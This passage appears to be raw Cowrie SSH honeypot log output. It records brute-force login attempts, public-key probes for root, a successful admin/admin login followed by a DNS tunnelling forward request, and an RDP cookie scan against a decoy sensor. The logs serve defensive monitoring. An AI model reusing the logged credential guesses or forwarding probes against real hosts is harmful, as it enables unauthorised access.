","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:39.724355Z","src_ip":"5.161.147.167","session":"31d1c31f42ee","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"86:b1:0e:cf:68:ce:64:24:ae:24:04:6d:81:ff:2a:38","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMRZxqHvQScBu8OmH5QRzSaU0wf+JzaDuLPwO0hDZLwn","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 86:b1:0e:cf:68:ce:64:24:ae:24:04:6d:81:ff:2a:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:39.783193Z","src_ip":"5.161.147.167","session":"31d1c31f42ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"86:b1:0e:cf:68:ce:64:24:ae:24:04:6d:81:ff:2a:38","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMRZxqHvQScBu8OmH5QRzSaU0wf+JzaDuLPwO0hDZLwn","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:39.787640Z","src_ip":"5.161.147.167","session":"31d1c31f42ee","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:64:74:a9:45:63:44:1d:1f:b7:23:41:71:4f:c9:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDp86x4YDOoI7wua5435KZn/nhhVHI6Xx4bQoDgdX7QQe+jDLjfwApsdP4iDdKeuhazML7PYcMkvMH5r651lmLi87XJ+7g54R2gQWzYdXEveOozJPCO1849NhUVVxvMufZSwgp7RYxsc8MWheZB0+HmDEJeyFPozALMjD45yXZfstEuR9gcXV+3roRIc4vOz+H69/3GS8wM1kHjnMkFuFcBj9fzrhj1Lb0X8QF0QEHuK/icaBgNYTL81bhfZBPuXptcxk5WtwzKvtLT05xaMM8N3tMZ5oGAoZKAYDA5kcYk0tNxjD1cBmR+z1GMcDEpAkdhO9JRhlWyHDOXA8RgQHHOxJ+AZc+r3CtBFc2nQm0Sfwr8NbMEJfSeZfTcG2FxQ8qFYAKV2zS1JC/v3699R9qP8mIKNXZPORkxkcqkKFSolzdA/769gxrRBSeMNjEaKGE4T1P3L1f7r4VlKtd8t9YqUrETyPn5nJxX14GUqlvPQEPzwUFQaG28YCy/e6IYO3Y4+f6w+389Oz714Tf4v/y6T5Ub/z8OJvhBCG4oCeRQrWlL02fi3jhYHWGBLyJfmou+UyzCzPEnaHp2mijvH7UR1iA2Ks/aCNh67timYIa+OCR1dZK21PfoGjvYk1PI29RB1RNYm6sW7azeS+Eb2w3q7EI5YmcytWm4vJEO+VOmNQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:64:74:a9:45:63:44:1d:1f:b7:23:41:71:4f:c9:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:39.805103Z","src_ip":"5.161.147.167","session":"31d1c31f42ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:64:74:a9:45:63:44:1d:1f:b7:23:41:71:4f:c9:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDp86x4YDOoI7wua5435KZn/nhhVHI6Xx4bQoDgdX7QQe+jDLjfwApsdP4iDdKeuhazML7PYcMkvMH5r651lmLi87XJ+7g54R2gQWzYdXEveOozJPCO1849NhUVVxvMufZSwgp7RYxsc8MWheZB0+HmDEJeyFPozALMjD45yXZfstEuR9gcXV+3roRIc4vOz+H69/3GS8wM1kHjnMkFuFcBj9fzrhj1Lb0X8QF0QEHuK/icaBgNYTL81bhfZBPuXptcxk5WtwzKvtLT05xaMM8N3tMZ5oGAoZKAYDA5kcYk0tNxjD1cBmR+z1GMcDEpAkdhO9JRhlWyHDOXA8RgQHHOxJ+AZc+r3CtBFc2nQm0Sfwr8NbMEJfSeZfTcG2FxQ8qFYAKV2zS1JC/v3699R9qP8mIKNXZPORkxkcqkKFSolzdA/769gxrRBSeMNjEaKGE4T1P3L1f7r4VlKtd8t9YqUrETyPn5nJxX14GUqlvPQEPzwUFQaG28YCy/e6IYO3Y4+f6w+389Oz714Tf4v/y6T5Ub/z8OJvhBCG4oCeRQrWlL02fi3jhYHWGBLyJfmou+UyzCzPEnaHp2mijvH7UR1iA2Ks/aCNh67timYIa+OCR1dZK21PfoGjvYk1PI29RB1RNYm6sW7azeS+Eb2w3q7EI5YmcytWm4vJEO+VOmNQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:39.810020Z","src_ip":"5.161.147.167","session":"31d1c31f42ee","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:a5:6e:86:6a:15:a7:bb:43:cf:63:52:a7:c1:74:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCaAb4Oq1B0yY3vuPyNw5rr+1iXvj+eeX8auu3Ska77mhARQnkcWX2SYvnEAHHlvW/1O4zqsDwdEmXUSh/tR/eXXlCmZgZtOzRpiAUMwH5i88GTkCj+KUB+86vclIjDY6Xwks76Eb1wQQExEhunef6WU9L+clWoavz2eVl49AEXaQTdsFwFB+76c78zk9LX6di2cAV1pl0fAc/qfha3crqoKTka0ckCZ/TSn3yn+pAiPckjSPNS14EyT57v2atK8YErMxIazsRXPLPFAONNwumdGhrJfdUOX8jG2c7Cd5EapkSVOf9Rm5XVSav6avvfpD4ax7GX+tGozHvk20YY3s7QBqejYPAut9LeqhTDJ9SyzVu+LKsnjVaWDtto/n+XrGW+TfnHlaJwFrSEUx8I7cC1D0gV04xZ0pDb1ZeGKG6s8U5vDUmF26K/6q5TYxQ6up/kIdAYXQjCX+15lxwX8w7P9NdPij+NpOh8ZzgF4pNqe7IriWwhhBQnfiSkxK9gyBj63maOivm71DcHwim4fO94NNHMlLhen3m5hJRUr8xunJbtFngDJSPN9+B+V7uCwPIwee07R/9RzTwobLt1twl6wG/Mf2vSQDpg+O1nt/htFIWTfuUTFa+n3oaG3piZFSaeAvi5nZHKXm1JFzng5+03xVX3tyR1+FPnosFMtiH+Lw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:a5:6e:86:6a:15:a7:bb:43:cf:63:52:a7:c1:74:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:39.824973Z","src_ip":"5.161.147.167","session":"31d1c31f42ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:a5:6e:86:6a:15:a7:bb:43:cf:63:52:a7:c1:74:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCaAb4Oq1B0yY3vuPyNw5rr+1iXvj+eeX8auu3Ska77mhARQnkcWX2SYvnEAHHlvW/1O4zqsDwdEmXUSh/tR/eXXlCmZgZtOzRpiAUMwH5i88GTkCj+KUB+86vclIjDY6Xwks76Eb1wQQExEhunef6WU9L+clWoavz2eVl49AEXaQTdsFwFB+76c78zk9LX6di2cAV1pl0fAc/qfha3crqoKTka0ckCZ/TSn3yn+pAiPckjSPNS14EyT57v2atK8YErMxIazsRXPLPFAONNwumdGhrJfdUOX8jG2c7Cd5EapkSVOf9Rm5XVSav6avvfpD4ax7GX+tGozHvk20YY3s7QBqejYPAut9LeqhTDJ9SyzVu+LKsnjVaWDtto/n+XrGW+TfnHlaJwFrSEUx8I7cC1D0gV04xZ0pDb1ZeGKG6s8U5vDUmF26K/6q5TYxQ6up/kIdAYXQjCX+15lxwX8w7P9NdPij+NpOh8ZzgF4pNqe7IriWwhhBQnfiSkxK9gyBj63maOivm71DcHwim4fO94NNHMlLhen3m5hJRUr8xunJbtFngDJSPN9+B+V7uCwPIwee07R/9RzTwobLt1twl6wG/Mf2vSQDpg+O1nt/htFIWTfuUTFa+n3oaG3piZFSaeAvi5nZHKXm1JFzng5+03xVX3tyR1+FPnosFMtiH+Lw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:39.829948Z","src_ip":"5.161.147.167","session":"31d1c31f42ee","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:2d:78:a7:85:63:42:b8:8b:ff:b3:38:96:46:f7:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9FB3GnL7zoZDzxMkEQgrun04jC8Hsyng94Rl7w1xNfKFHZSFtBdmkz+7kGg7pdIR1GnRAI34/W6eVuo6v0RheCCAAmTN9Hh51foMq/6iH8tbolO+zexCzws+4Tr6JNLLx+w24v2FUBqsxTrsd5ss1SUJDGHlBHkItFGBBVxt6JKkMgOMvJic3reIwsh4NnwdbDt5JMoNU1CKMTTMXuCp0x6ItxIF/u9gIMoEuUUe7e0iLDYXT6kHkSUB149pwFDU/rPA4ifLG69KdnKx1ucNbllvJ0pcsVPygFYCaxzYqOBuWqepwl4Ujvymnkq5hLJs5mprptcGmpRz4XZGp+wnjjQoYIMDUnFR+0PdQzuJrHjgCYYXujOxNF3jvn+VWgN9ZPhdNJJ6gFEvxoywaMpQYYVad+v4KhJYBQKRTtNxW8Vb2vWXWQ2U8I5IrurMl376Eg/8c9jBAxqORl7totQAgayjuUTvZgX461f0qZ7jRBzlIK/DYeH2wUr7xGyFFppIRvyDwPBTazPV9h10viYaUtK7bAQ9Ov902Rs1O66BT3goW1Ce/1rq+e8UNr4XCKxFySqgvSIGvg1UJpCoLJ7lH+2bzPsRBN+/mYcK2NcFd3FJn+lHRC0X7Hbftlh50XLH4ppidUObrSslUQDgpQGckUyiaH3QXGEcJuJtsN+3QBQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:2d:78:a7:85:63:42:b8:8b:ff:b3:38:96:46:f7:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:39.845246Z","src_ip":"5.161.147.167","session":"31d1c31f42ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:2d:78:a7:85:63:42:b8:8b:ff:b3:38:96:46:f7:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9FB3GnL7zoZDzxMkEQgrun04jC8Hsyng94Rl7w1xNfKFHZSFtBdmkz+7kGg7pdIR1GnRAI34/W6eVuo6v0RheCCAAmTN9Hh51foMq/6iH8tbolO+zexCzws+4Tr6JNLLx+w24v2FUBqsxTrsd5ss1SUJDGHlBHkItFGBBVxt6JKkMgOMvJic3reIwsh4NnwdbDt5JMoNU1CKMTTMXuCp0x6ItxIF/u9gIMoEuUUe7e0iLDYXT6kHkSUB149pwFDU/rPA4ifLG69KdnKx1ucNbllvJ0pcsVPygFYCaxzYqOBuWqepwl4Ujvymnkq5hLJs5mprptcGmpRz4XZGp+wnjjQoYIMDUnFR+0PdQzuJrHjgCYYXujOxNF3jvn+VWgN9ZPhdNJJ6gFEvxoywaMpQYYVad+v4KhJYBQKRTtNxW8Vb2vWXWQ2U8I5IrurMl376Eg/8c9jBAxqORl7totQAgayjuUTvZgX461f0qZ7jRBzlIK/DYeH2wUr7xGyFFppIRvyDwPBTazPV9h10viYaUtK7bAQ9Ov902Rs1O66BT3goW1Ce/1rq+e8UNr4XCKxFySqgvSIGvg1UJpCoLJ7lH+2bzPsRBN+/mYcK2NcFd3FJn+lHRC0X7Hbftlh50XLH4ppidUObrSslUQDgpQGckUyiaH3QXGEcJuJtsN+3QBQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:39.849687Z","src_ip":"5.161.147.167","session":"31d1c31f42ee","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:75:29:d3:a4:cb:ce:8a:d8:f7:22:66:83:b7:d9:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5OVgMWR/kXz1qOWuPggfIuD1RUtfzYaU+DuCfswwgsEXlOI9NYKsvAC9ylYK2iz4vnHrSGVAAzWbV91LY36KJ0hKlDSpAIeixt3IiggG+1yB9Iq+7+O21VVB0u539qfYrqYMgwa7880bRHTJtm7vd1Ol1KgvP/V8x4uyjTJeDSOkmfZ0+oZv69hc2XqYz928FCcwixpqEwyiHOS8lANhG3un5HZzEwye8ewj3pFXTTUm4GJUBRseEUyx2ObXrZ66kHsJfOqcanrtcf/qRQTmukYnTCv43rCGOZ+/iQTpGkFLDH42cYmvVyqmhgb8ccVuVTUEjDNqMcQ3wLZz+jfm4Ck8yjKtBSSurvULkQ8eGKDJIJoeMtBzqKoqXBXiX9pNqOG/MfgeQ8fEP5fN1ZNGtpjz7l/jb4tsHYzpByYFI4CoD4inXqAYeFY06xEIIqkkiQAO+PcL6w15Y9rlgQGSBqZkYR32JJtfuRyS1XnNo9eezJpDySAg7OIEQyjtghaVa9Km36uNSzE15MA0Z0m2ZvFsXV74NmiOINnKZoja4GvR8Utsnxd5LTYHOfxoogpAM+K+eBisu30OcRLKY8KvNYPEE/5XwPzjyWHziLndwgJLGNlgaH16m7qTgMSiUZTWgx1jhSeLSXL1IgUlHtyfUvWnB4GOmhGXSL14+80wzPQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:75:29:d3:a4:cb:ce:8a:d8:f7:22:66:83:b7:d9:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:39.867119Z","src_ip":"5.161.147.167","session":"31d1c31f42ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:75:29:d3:a4:cb:ce:8a:d8:f7:22:66:83:b7:d9:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5OVgMWR/kXz1qOWuPggfIuD1RUtfzYaU+DuCfswwgsEXlOI9NYKsvAC9ylYK2iz4vnHrSGVAAzWbV91LY36KJ0hKlDSpAIeixt3IiggG+1yB9Iq+7+O21VVB0u539qfYrqYMgwa7880bRHTJtm7vd1Ol1KgvP/V8x4uyjTJeDSOkmfZ0+oZv69hc2XqYz928FCcwixpqEwyiHOS8lANhG3un5HZzEwye8ewj3pFXTTUm4GJUBRseEUyx2ObXrZ66kHsJfOqcanrtcf/qRQTmukYnTCv43rCGOZ+/iQTpGkFLDH42cYmvVyqmhgb8ccVuVTUEjDNqMcQ3wLZz+jfm4Ck8yjKtBSSurvULkQ8eGKDJIJoeMtBzqKoqXBXiX9pNqOG/MfgeQ8fEP5fN1ZNGtpjz7l/jb4tsHYzpByYFI4CoD4inXqAYeFY06xEIIqkkiQAO+PcL6w15Y9rlgQGSBqZkYR32JJtfuRyS1XnNo9eezJpDySAg7OIEQyjtghaVa9Km36uNSzE15MA0Z0m2ZvFsXV74NmiOINnKZoja4GvR8Utsnxd5LTYHOfxoogpAM+K+eBisu30OcRLKY8KvNYPEE/5XwPzjyWHziLndwgJLGNlgaH16m7qTgMSiUZTWgx1jhSeLSXL1IgUlHtyfUvWnB4GOmhGXSL14+80wzPQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:39.870779Z","src_ip":"5.161.147.167","session":"31d1c31f42ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:39.885044Z","src_ip":"5.161.147.167","session":"31d1c31f42ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.3.96.178","src_port":47914,"dst_ip":"10.17.0.5","dst_port":22,"session":"de4da425b2a2","protocol":"ssh","message":"New connection: 79.3.96.178:47914 (10.17.0.5:22) [session: de4da425b2a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:59:11.404478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:59:11.409274Z","src_ip":"79.3.96.178","session":"de4da425b2a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:59:11.542093Z","src_ip":"79.3.96.178","session":"de4da425b2a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root$123","message":"login attempt [root/Root$123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:59:12.100937Z","src_ip":"79.3.96.178","session":"de4da425b2a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:59:13.236983Z","src_ip":"79.3.96.178","session":"de4da425b2a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":12362,"dst_ip":"10.17.0.5","dst_port":22,"session":"f593ff56266a","protocol":"ssh","message":"New connection: 87.251.64.176:12362 (10.17.0.5:22) [session: f593ff56266a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:59:24.373232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:59:24.412835Z","src_ip":"87.251.64.176","session":"f593ff56266a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:59:24.471186Z","src_ip":"87.251.64.176","session":"f593ff56266a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:59:25.003788Z","src_ip":"87.251.64.176","session":"f593ff56266a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:59:25.132486Z","session":"f593ff56266a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:59:25.284516Z","src_ip":"87.251.64.176","session":"f593ff56266a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:59:25.650533Z","src_ip":"87.251.64.176","session":"f593ff56266a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":49239,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c915547c8d3","protocol":"ssh","message":"New connection: 152.42.212.128:49239 (159.203.135.109:22) [session: 5c915547c8d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:59:59.429125Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:59:59.434958Z","src_ip":"152.42.212.128","session":"5c915547c8d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:59:59.438660Z","src_ip":"152.42.212.128","session":"5c915547c8d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":39876,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ec2a87b4202","protocol":"ssh","message":"New connection: 103.149.28.157:39876 (10.17.0.5:22) [session: 7ec2a87b4202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:14.481344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:14.489421Z","src_ip":"103.149.28.157","session":"7ec2a87b4202","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:14.739851Z","src_ip":"103.149.28.157","session":"7ec2a87b4202","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kazantip","message":"login attempt [root/kazantip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:15.489753Z","src_ip":"103.149.28.157","session":"7ec2a87b4202","protocol":"ssh"}
